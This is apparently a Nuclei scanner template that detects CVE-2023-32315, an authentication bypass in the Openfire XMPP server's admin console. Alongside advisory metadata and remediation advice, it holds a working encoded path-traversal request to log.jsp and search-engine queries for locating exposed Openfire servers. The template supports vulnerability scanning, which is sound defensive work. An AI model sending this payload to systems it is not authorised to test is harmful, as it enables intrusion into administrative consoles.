id: CVE-2023-32315

info:
  name: Openfire Administration Console - Authentication Bypass
  author: vsh00t
  severity: high
  description: |
    Openfire is an XMPP server licensed under the Open Source Apache License. Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to the Openfire Administration Console.
  remediation: |
    The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the yet-to-be released first version on the 4.8 branch (which is expected to be version 4.8.0). Users are advised to upgrade. If an Openfire upgrade isn’t available for a specific release, or isn’t quickly actionable, users may see the linked github advisory (GHSA-gw42-f939-fhvm) for mitigation advice.
  reference:
    - https://github.com/advisories/GHSA-gw42-f939-fhvm
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32315
    - https://github.com/izzz0/CVE-2023-32315-POC
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
    - https://github.com/TLGKien/SploitusCrawl
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-32315
    cwe-id: CWE-22
    epss-score: 0.94441
    epss-percentile: 0.9999
    cpe: cpe:2.3:a:igniterealtime:openfire:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: igniterealtime
    product: openfire
    shodan-query:
      - title:"openfire"
      - http.title:"openfire"
      - http.title:"openfire admin console"
    fofa-query:
      - title="openfire"
      - title="openfire admin console"
    google-query:
      - intitle:"openfire"
      - intitle:"openfire admin console"
  tags: cve2023,cve,auth-bypass,openfire,console,kev,igniterealtime,vkev,vuln

http:
  - raw:
      - |+
        GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apache"
          - "java"
          - "openfire"
          - "jivesoftware"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c0c1ad2304f48105f879b566219991c3442c142e228bb92a1f1581035e46f7f102200909dca6fc62586d9bb9ab438d31c6b47c7c44965696e0e2e303b44cad21dcc5:922c64590222798bb761d5b6d8e72950